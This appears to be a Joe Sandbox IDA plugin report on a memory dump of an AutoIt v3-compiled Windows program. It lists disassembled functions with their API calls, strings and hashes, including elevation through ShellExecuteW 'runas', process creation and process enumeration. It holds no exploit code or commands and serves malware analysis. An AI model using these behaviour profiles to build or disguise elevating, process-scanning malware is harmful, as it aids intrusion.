Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 173d2911d7f98de0aeb93514638123704b61c260740ad91f01f71834fc9346d6
Instruction ID: 309d6fcbabaf96fcebc0d2d8f7cdc19e6cd7e0099b1afa68d28567b2c0046221
Opcode Fuzzy Hash: 173d2911d7f98de0aeb93514638123704b61c260740ad91f01f71834fc9346d6
Instruction Fuzzy Hash: 51117CB0251701BFDB218BA5DC48F277BBDEBC5B51F10816EB52296290DBB1D840D620

Function 00982BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 00942B6B

Part of subcall function 00943A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00A11418,?,00942E7F,?,?,?,00000000), ref: 00943A78

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00A02224), ref: 00982C10
ShellExecuteW.SHELL32(00000000,?,?,00A02224), ref: 00982C17

Strings

runas, xrefs: 00982C0B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: a866434e3fd1d2d5c08c997999290fee82f813ac424a466a4d4dd5b8a16d2059
Instruction ID: 733e1746c34547cdd5c86483a6a82bbc0c634d8be7a9f0178043239dc39e88bd
Opcode Fuzzy Hash: a866434e3fd1d2d5c08c997999290fee82f813ac424a466a4d4dd5b8a16d2059
Instruction Fuzzy Hash: F01106716483056AC704FF70D855FAEB7A8AFD2740F84482DF182021A2CF30894AC712

Function 009AD4DC Relevance: 6.1, APIs: 4, Instructions: 86
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 009AD501
Process32FirstW.KERNEL32(00000000,?), ref: 009AD50F
Process32NextW.KERNEL32(00000000,?), ref: 009AD52F
CloseHandle.KERNELBASE(00000000), ref: 009AD5DC

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 1aaaa85780418d799500c292283fc6a4f05e31e8fe1e3b1c5c3ca5aa434e8c60
Instruction ID: ce51afbb9362db6ee05d10715258e429b8ea194cab396ae4ca718f276f1d3d14
Opcode Fuzzy Hash: 1aaaa85780418d799500c292283fc6a4f05e31e8fe1e3b1c5c3ca5aa434e8c60
Instruction Fuzzy Hash: 4D3181711083019FD305EF54D885FAFBBE8EFDA354F14092DF586862A2EB719948CB92

Function 009ADBBE Relevance: 6.0, APIs: 4, Instructions: 29
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,00985222), ref: 009ADBCE
GetFileAttributesW.KERNELBASE(?), ref: 009ADBDD
FindFirstFileW.KERNEL32(?,?), ref: 009ADBEE
FindClose.KERNEL32(00000000), ref: 009ADBFA

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 1cb3314b33f64a649ce95b44fde6f4aada879d57a94af8271179ecbae5d752fa
Instruction ID: 130e9d33e3dad1ea29848e71ade6586acece704b7da06eb39129ae9e9ebb61bf
Opcode Fuzzy Hash: 1cb3314b33f64a649ce95b44fde6f4aada879d57a94af8271179ecbae5d752fa
Instruction Fuzzy Hash: 55F0E57086A9215782206B7CED0D8AA377C9E03334B904713F9B7C24F0EBB49D94E6D5

Function 00964CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(009728E9,?,00964CBE,009728E9,00A088B8,0000000C,00964E15,009728E9,00000002,00000000,?,009728E9), ref: 00964D09
TerminateProcess.KERNEL32(00000000,?,00964CBE,009728E9,00A088B8,0000000C,00964E15,009728E9,00000002,00000000,?,009728E9), ref: 00964D10
ExitProcess.KERNEL32 ref: 00964D22

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: d0b715ce677e4e18fc2ae9f2459aaddf3127ffc54273694a045f7b79203b5377
Instruction ID: 848cf9996c3ebf2874a3f25d1ccf7dde6f763a2f9d5755eb0707b6315b7b8319
Opcode Fuzzy Hash: d0b715ce677e4e18fc2ae9f2459aaddf3127ffc54273694a045f7b79203b5377
Instruction Fuzzy Hash: F6E0B671455149ABCF11AF94DE1AA587B6DEB81781F108015FC098B162CB35ED82EB80

Function 009CAFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 009CB198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 009CB1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 009CB1D4
_wcslen.LIBCMT ref: 009CB200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 009CB214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 009CB236
_wcslen.LIBCMT ref: 009CB332

Part of subcall function 009B05A7: GetStdHandle.KERNEL32(000000F6), ref: 009B05C6

_wcslen.LIBCMT ref: 009CB34B
_wcslen.LIBCMT ref: 009CB366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 009CB3B6
GetLastError.KERNEL32(00000000), ref: 009CB407
CloseHandle.KERNEL32(?), ref: 009CB439
CloseHandle.KERNEL32(00000000), ref: 009CB44A
CloseHandle.KERNEL32(00000000), ref: 009CB45C
CloseHandle.KERNEL32(00000000), ref: 009CB46E
CloseHandle.KERNEL32(?), ref: 009CB4E3

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 71ef878b2ae52bf07d04de906099325d2d95048dcd7f4983c2f0dd737515caae
Instruction ID: bc866131419ffaa3c215320c9b69047c7120bfdae4dcf7ca9dec04b0910b21fb
Opcode Fuzzy Hash: 71ef878b2ae52bf07d04de906099325d2d95048dcd7f4983c2f0dd737515caae
Instruction Fuzzy Hash: B7F17A71A082409FC714EF24C892F6EBBE5AFC5714F14895DF8999B2A2DB31EC44CB52

Function 0094D730 Relevance: 21.6, APIs: 14, Instructions: 618windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 0094D807
timeGetTime.WINMM ref: 0094DA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0094DB28
TranslateMessage.USER32(?), ref: 0094DB7B
DispatchMessageW.USER32(?), ref: 0094DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0094DB9F
Sleep.KERNELBASE(0000000A), ref: 0094DBB1

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 1014c48d6d4f67cc57aa0a4d7c4792636cbecd4634b705730685d96e89df9a51
Instruction ID: 85eadc54cb8488ad7c4859fbfa30d15c01a78189a231221706113197411aaf44
Opcode Fuzzy Hash: 1014c48d6d4f67cc57aa0a4d7c4792636cbecd4634b705730685d96e89df9a51
Instruction Fuzzy Hash: CB42E37460A342EFDB28CF28C894FAAB7E8FF85314F14895DE49587291D774E844CB92

Function 00942CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00942D07
RegisterClassExW.USER32(00000030), ref: 00942D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00942D42
InitCommonControlsEx.COMCTL32(?), ref: 00942D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00942D6F
LoadIconW.USER32(000000A9), ref: 00942D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00942D94

Strings

0, xrefs: 00942CE9
TaskbarCreated, xrefs: 00942D37
+, xrefs: 00942CF0
AutoIt v3 GUI, xrefs: 00942D23

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 272209145b4ec24910355e078a0abdc7a572960c233fc6edcb20aac9a48982dc
Instruction ID: 52ee6e8f5b56a3a7a444eea0151786d15e62267a67786fec85b8a9466b71223d
Opcode Fuzzy Hash: 272209145b4ec24910355e078a0abdc7a572960c233fc6edcb20aac9a48982dc
Instruction Fuzzy Hash: 2821E3B5952309AFDB00DFE4E849BDDBBB8FB08704F00811AF621A62A0D7B10585DF90

Function 0098065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0098039A: CreateFileW.KERNELBASE(00000000,00000000,?,00980704,?,?,00000000,?,00980704,00000000,0000000C), ref: 009803B7

GetLastError.KERNEL32 ref: 0098076F
__dosmaperr.LIBCMT ref: 00980776
GetFileType.KERNELBASE(00000000), ref: 00980782
GetLastError.KERNEL32 ref: 0098078C
__dosmaperr.LIBCMT ref: 00980795
CloseHandle.KERNEL32(00000000), ref: 009807B5
CloseHandle.KERNEL32(?), ref: 009808FF
GetLastError.KERNEL32 ref: 00980931
__dosmaperr.LIBCMT ref: 00980938

Strings

H, xrefs: 009808BD

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: cd0611830c88976a69be8c3277113469f63b3178d64ae334e7341df1d19cf8b0
Instruction ID: dbcc54237f42cb4ed7e3a251cd0224926deedc596f35680c8648088b1ed5b982
Opcode Fuzzy Hash: cd0611830c88976a69be8c3277113469f63b3178d64ae334e7341df1d19cf8b0
Instruction Fuzzy Hash: F4A15632A041048FDF19EFA8DC62BAE7BA4EB86320F14415EF8159B391DB319C57CB91

Function 0094344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00943A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00A11418,?,00942E7F,?,?,?,00000000), ref: 00943A78

Part of subcall function 00943357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00943379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 0094356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0098318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 009831CE
RegCloseKey.ADVAPI32(?), ref: 00983210
_wcslen.LIBCMT ref: 00983277
_wcslen.LIBCMT ref: 00983286

Strings

Include, xrefs: 00983184, 009831C5
\, xrefs: 0098328C
\Include\, xrefs: 00943527
Software\AutoIt v3\AutoIt, xrefs: 00943560

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 20cc4f3e2897cad84732768d533e51e5d7d8f806d102ed33bdf17f66469bbe6b
Instruction ID: 33321b4252e80e3a27f41ff46df5d6392929360bcbee04de36725d379aebc96e
Opcode Fuzzy Hash: 20cc4f3e2897cad84732768d533e51e5d7d8f806d102ed33bdf17f66469bbe6b
Instruction Fuzzy Hash: 2E718D714483019EC714EFA9DC82E9BBBE8FF85740F40882EF5558B261DB34DA59CB52

Function 00942B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00942B8E
LoadCursorW.USER32(00000000,00007F00), ref: 00942B9D
LoadIconW.USER32(00000063), ref: 00942BB3
LoadIconW.USER32(000000A4), ref: 00942BC5
LoadIconW.USER32(000000A2), ref: 00942BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00942BEF
RegisterClassExW.USER32(?), ref: 00942C40

Part of subcall function 00942CD4: GetSysColorBrush.USER32(0000000F), ref: 00942D07
Part of subcall function 00942CD4: RegisterClassExW.USER32(00000030), ref: 00942D31
Part of subcall function 00942CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00942D42
Part of subcall function 00942CD4: InitCommonControlsEx.COMCTL32(?), ref: 00942D5F
Part of subcall function 00942CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00942D6F
Part of subcall function 00942CD4: LoadIconW.USER32(000000A9), ref: 00942D85
Part of subcall function 00942CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00942D94

Strings

#, xrefs: 00942C16
0, xrefs: 00942C0F
AutoIt v3, xrefs: 00942C2F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 38943c6c44e9e71b5b1bf66a1c59a7c06a0bd13aa1e05da622ad5e65402c435a
Instruction ID: b44dac4ed9422efc30e09dddb49fb48ecfc790b3ec7e66d906117e13a83c2d19
Opcode Fuzzy Hash: 38943c6c44e9e71b5b1bf66a1c59a7c06a0bd13aa1e05da622ad5e65402c435a
Instruction Fuzzy Hash: 73214CB0E52314ABDB50DFE5EC59BD9BFB4FB48B54F00801AF610AA6A4D3B10541DF90

Function 00943170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,0094316A,?,?), ref: 009431D8
KillTimer.USER32(?,00000001,?,?,?,?,?,0094316A,?,?), ref: 00943204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00943227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,0094316A,?,?), ref: 00943232
CreatePopupMenu.USER32 ref: 00943246
PostQuitMessage.USER32(00000000), ref: 00943267

Strings

TaskbarCreated, xrefs: 0094322D

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 6971e1f3ed2029dd9d948bb6a099092b2870b2f7d48f02a7b1a2d0ac2f01ebb5
Instruction ID: a00d22ba9d74decc651cd489456349df9e4bbe70bf93b7cd999e0c9a41f75d54
Opcode Fuzzy Hash: 6971e1f3ed2029dd9d948bb6a099092b2870b2f7d48f02a7b1a2d0ac2f01ebb5
Instruction Fuzzy Hash: D9415971268204ABDF146B789C4DFF93B1DE749300F04C126FA228A2A5D7B59B81D7A1

Function 00941410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00941459
CoUninitialize.COMBASE ref: 009414F8
UnregisterHotKey.USER32(?), ref: 009416DD
DestroyWindow.USER32(?), ref: 009824B9
FreeLibrary.KERNEL32(?), ref: 0098251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 0098254B

Strings

close all, xrefs: 00941454

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 8dfb570131747fe0f6869e473beb2717a4ef599a486cb322ea965c27bd336545
Instruction ID: 935c57d3d3bb0454ab29dbf065cf264bc484da7e83278564a1b1b8d5d625aae0
Opcode Fuzzy Hash: 8dfb570131747fe0f6869e473beb2717a4ef599a486cb322ea965c27bd336545
Instruction Fuzzy Hash: 53D148717012128FCB29EF15C499F69F7A4BF45710F1442AEE84AAB362DB30AD56CF50

Function 00942C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00942C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00942CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,00941CAD,?), ref: 00942CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,00941CAD,?), ref: 00942CCF

Strings

edit, xrefs: 00942CAC
AutoIt v3, xrefs: 00942C89, 00942C8E, 00942C8F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 1ce2ff005ed2c516985342402d66a504e6aa45483352a1936cbf20bddf9ddd80
Instruction ID: 59fd36d3e81845608e0ec6ac962d02a60ec543a71138fd0f3d733e20bd37193b
Opcode Fuzzy Hash: 1ce2ff005ed2c516985342402d66a504e6aa45483352a1936cbf20bddf9ddd80
Instruction Fuzzy Hash: 0FF03AB95802A07AEB704753AC0CEB76EBDD7C6F50B00811AFA10AA2A4C2610842DAB0

Function 00943B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00943B0F,SwapMouseButtons,00000004,?), ref: 00943B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00943B0F,SwapMouseButtons,00000004,?), ref: 00943B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00943B0F,SwapMouseButtons,00000004,?), ref: 00943B83

Strings

Control Panel\Mouse, xrefs: 00943B3E

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: a901bd5cfd2070ea6d7657c4e5c7ae12960c096bec3606b93c99d9dcb2c33420
Instruction ID: 3254d213018419a0781fa5b1556dee47bb644efadd04bc1e62a705c8eeb5aa0a
Opcode Fuzzy Hash: a901bd5cfd2070ea6d7657c4e5c7ae12960c096bec3606b93c99d9dcb2c33420
Instruction Fuzzy Hash: 9E112AB5521209FFDF218FA5DC44EBEB7BCEF05744B10895AA805D7110E2319E44AB60

Function 00943923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 009833A2

Part of subcall function 00946B57: _wcslen.LIBCMT ref: 00946B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00943A04

Strings

